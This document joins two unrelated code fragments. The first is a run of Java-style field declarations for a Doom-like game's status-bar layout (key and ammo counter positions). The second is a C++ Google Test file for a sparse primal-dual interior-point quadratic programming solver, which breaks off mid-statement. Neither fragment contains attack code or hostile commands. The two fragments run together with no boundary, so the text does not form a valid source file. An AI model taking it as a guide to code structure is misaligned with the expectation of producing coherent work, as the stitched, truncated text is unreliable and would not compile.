    private int ST_KEY0Y;

    private int ST_KEY1WIDTH;
    private int ST_KEY1X;
    private int ST_KEY1Y;

    private int ST_KEY2WIDTH;
    private int ST_KEY2X;
    private int ST_KEY2Y;

    // Ammunition counter.
    private int ST_AMMO0WIDTH;
    private int ST_AMMO0HEIGHT;

    private int ST_AMMO0X;
    private int ST_AMMO0Y;

    private int ST_AMMO1WIDTH;

    private int ST_AMMO1X;

    private int ST_AMMO1Y;

    private int ST_AMMO2WIDTH;

    private int ST_AMMO2X;

    private int ST_AMMO2Y;

    private int ST_AMMO3WIDTH;

    private int ST_AMMO3X;

    private int ST_AMMO3Y;

    // Indicate maximum ammunition.
    // Only needed because backpack exists.
    private int ST_MAXAMMO0WIDTH;

    private int ST_MAXAMMO0HEIGHT;

    private int ST_MAXAMMO0X;

    private int ST_MAXAMMO0Y;

    private int ST_MAXAMMO1WIDTH;


#include "gtest/gtest.h"
#include "optimo/solvers/sparse_primal_dual_qp.h"

namespace optimo {
namespace solvers {
using Eigen::Matrix;
using Eigen::SparseMatrix;
using Eigen::SparseVector;
using Eigen::Vector2d;
using Eigen::MatrixXd;
using Eigen::VectorXd;
using Eigen::Dynamic;

TEST(Sparse_Primal_Dual_Interior_Point_QP, NoData) {
  const uint n = 3;
  const uint m = 4;  // To ensure x >= 0
  const uint p = 1;
  const uint l = n + m + p;
  SparsePrimalDualQP<double>::Params params(n, m, p);
  params.d(n - 1) = 1.0;
  params.beq(0) = 1.0;
  SparsePrimalDualQP<double> qp_solver;
  Matrix<double, Dynamic, 1> y(l);
  y.setConstant(1.0);
  y(0) = 0.0;
  y(1) = 2.0;
  double min_value;
  TERMINATION_TYPE r = qp_solver(&params, &y, &min_value);
  ASSERT_EQ(r, INVALID_ARGUMENTS);
}

TEST(Sparse_Primal_Dual_Interior_Point_QP, InvalidArguments) {
  const uint n = 3;
  const uint m = 4;  // To ensure x >= 0
  const uint p = 1;
  const uint l = n + m + p;
  SparsePrimalDualQP<double>::Params params(n, m, p);
  SparsePrimalDualQP<double> qp_solver;
  qp_solver.options.alpha_ = -1.0;
  qp_solver.options.beta_ = -1.0;
  Matrix<double, Dynamic, 1> y(l);
  double min_value;
  TERMINATION_TYPE r = qp_solver(&params, &y, &min_value);
  ASSERT_EQ(r, INVALID_ARGUMENTS);
}

TEST(Sparse_Primal_Dual_Interior_Point_QP, Small_QP) {
  const uint n = 2;
  const uint m = 5;  // To ensure x >= 0
  const uint p = 1;  // Dummy eq. constraint
  const uint l = n + m + p;
  SparsePrimalDualQP<double>::Params params(n, m, p);
  // To allocate memory for F (optional). This speeds things up.
  params.reserve();
  // Q = [ 1 -1;
  //      -1 2]
  // d = [-2; -6]
  // Ain = [1 1;
  //       -1 2;   <= b = [2; 2; 3]
  //        2 1]*x
  // x >= 0
  // Aeq = [1 1] beq = [1]

  // Setting Q
  params.setQElement(0, 0, 1.0);
  params.setQElement(0, 1, -1.0);
  params.setQElement(1, 0, -1.0);
  params.setQElement(1, 1, 2.0);

  // Setting Ain
  params.setAinElement(0, 0, 1.0);
  params.setAinElement(0, 1, 1.0);
  params.setAinElement(1, 0, -1.0);
  params.setAinElement(1, 1, 2.0);
  params.setAinElement(2, 0, 2.0);
  params.setAinElement(2, 1, 1.0);
  params.setAinElement(3, 0, -1.0);
  params.setAinElement(4, 1, -1.0);

  // Setting Aeq
  params.setAeqElement(0, 0, 1.0);
  params.setAeqElement(0, 1, 1.0);

  // Setting d
  Matrix<double, Dynamic, 1>& d = params.d;
  d(0) = -2;
  d(1) = -6;

  // Setting beq
  Matrix<double, Dynamic, 1>& beq = par